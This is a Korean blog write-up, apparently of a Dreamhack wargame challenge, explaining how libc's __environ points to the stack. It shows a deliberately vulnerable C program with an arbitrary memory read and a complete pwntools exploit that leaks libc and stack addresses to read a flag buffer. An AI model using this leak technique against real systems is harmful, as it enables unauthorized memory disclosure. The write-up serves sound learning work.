__environ
__environ 변수는 라이브러리에 존재하는 변수로, 스택 주소를 가리킴
즉 __enviorn은 스택 내의 어떤 주소를 값으로 갖는데, 해당 주소는 환경변수 스트링들이 담긴 테이블이라고 할 수 있다.
테이블에 담긴 각각의 주소는 문자열을 담았다. 즉 __environ은 문자열 배열의 포인터라고 할 수 있는 것이다.
해당 문자열들은 환경 변수 정보이다. (따라서 환경 변수 정보들은 stack에 담겨져 있는 것도 덤으로 알아간다~!)
문제 코드
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout); //라이브러리 릭 가능
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1: //임의의 주소에 있는 데이터 출력
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
취약점
- 라이브러리 주소 릭 가능
- 임의의 주소의 데이터 읽기 가능
따라서 file_buf의 주소 찾기가 목표가 된다.
해당 변수는 스택 내에 존재하므로 스택 주소 릭 필요 -> 스택 주소를 가리키는 environ 환경 변수 이용
from pwn import *
p=remote("host3.dreamhack.games",20640)
lib=ELF("./libc.so.6")
p.recvuntil("stdout: ")
lib_base=int(p.recvline()[:-1],16)-lib.symbols["_IO_2_1_stdout_"]
environ=lib_base+lib.symbols["__environ"]
p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(environ))
#0x7ffff..12\x12...\x7f이런식으로 날라옴 ->u64하면 0x7f..12꼴로 바뀜
envstack=u64(p.recvn(6).ljust(8,b'\x00'))
디버깅 심볼 없이도 오프셋 구할 수 있따
오프셋은 5480, 0x1568 이다!
따라서 file_buf=envstack-5480
p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(file_buf))
print(p.recvall())
최종코드
from pwn import *
p=remote("host3.dreamhack.games",20640)
lib=ELF("./libc.so.6")
p.recvuntil("stdout: ")
lib_base=int(p.recvline()[:-1],16)-lib.symbols["_IO_2_1_stdout_"]
environ=lib_base+lib.symbols["__environ"]
p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(environ))
#0x7ffff..12\x12...\x7f이런식으로 날라옴 ->u64하면 0x7f..12꼴로 바뀜
envstack=u64(p.recvn(6).ljust(8,b'\x00'))
print(envstack)
file_buf=envstack-5480
p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(file_buf))
print(p.recvuntil("> "))
오늘을 통해 느낀건 디버깅 심볼 없이도 걍 gdb로 오프셋 구할 수있음
'Linux Exploitation > Wargame' 카테고리의 다른 글
[드림핵(Dreamhack)] send_sig (0) | 2023.07.25 |
---|---|
[드림핵(Dreamhack)] master_canary (0) | 2023.07.22 |
[드림핵(Dreamhack)] rtld (0) | 2023.07.15 |
[드림핵(Dreamhack)] Overwrite _rtld_global (0) | 2023.07.15 |
[드림핵(Dreamhack)] Master Canary (0) | 2023.07.13 |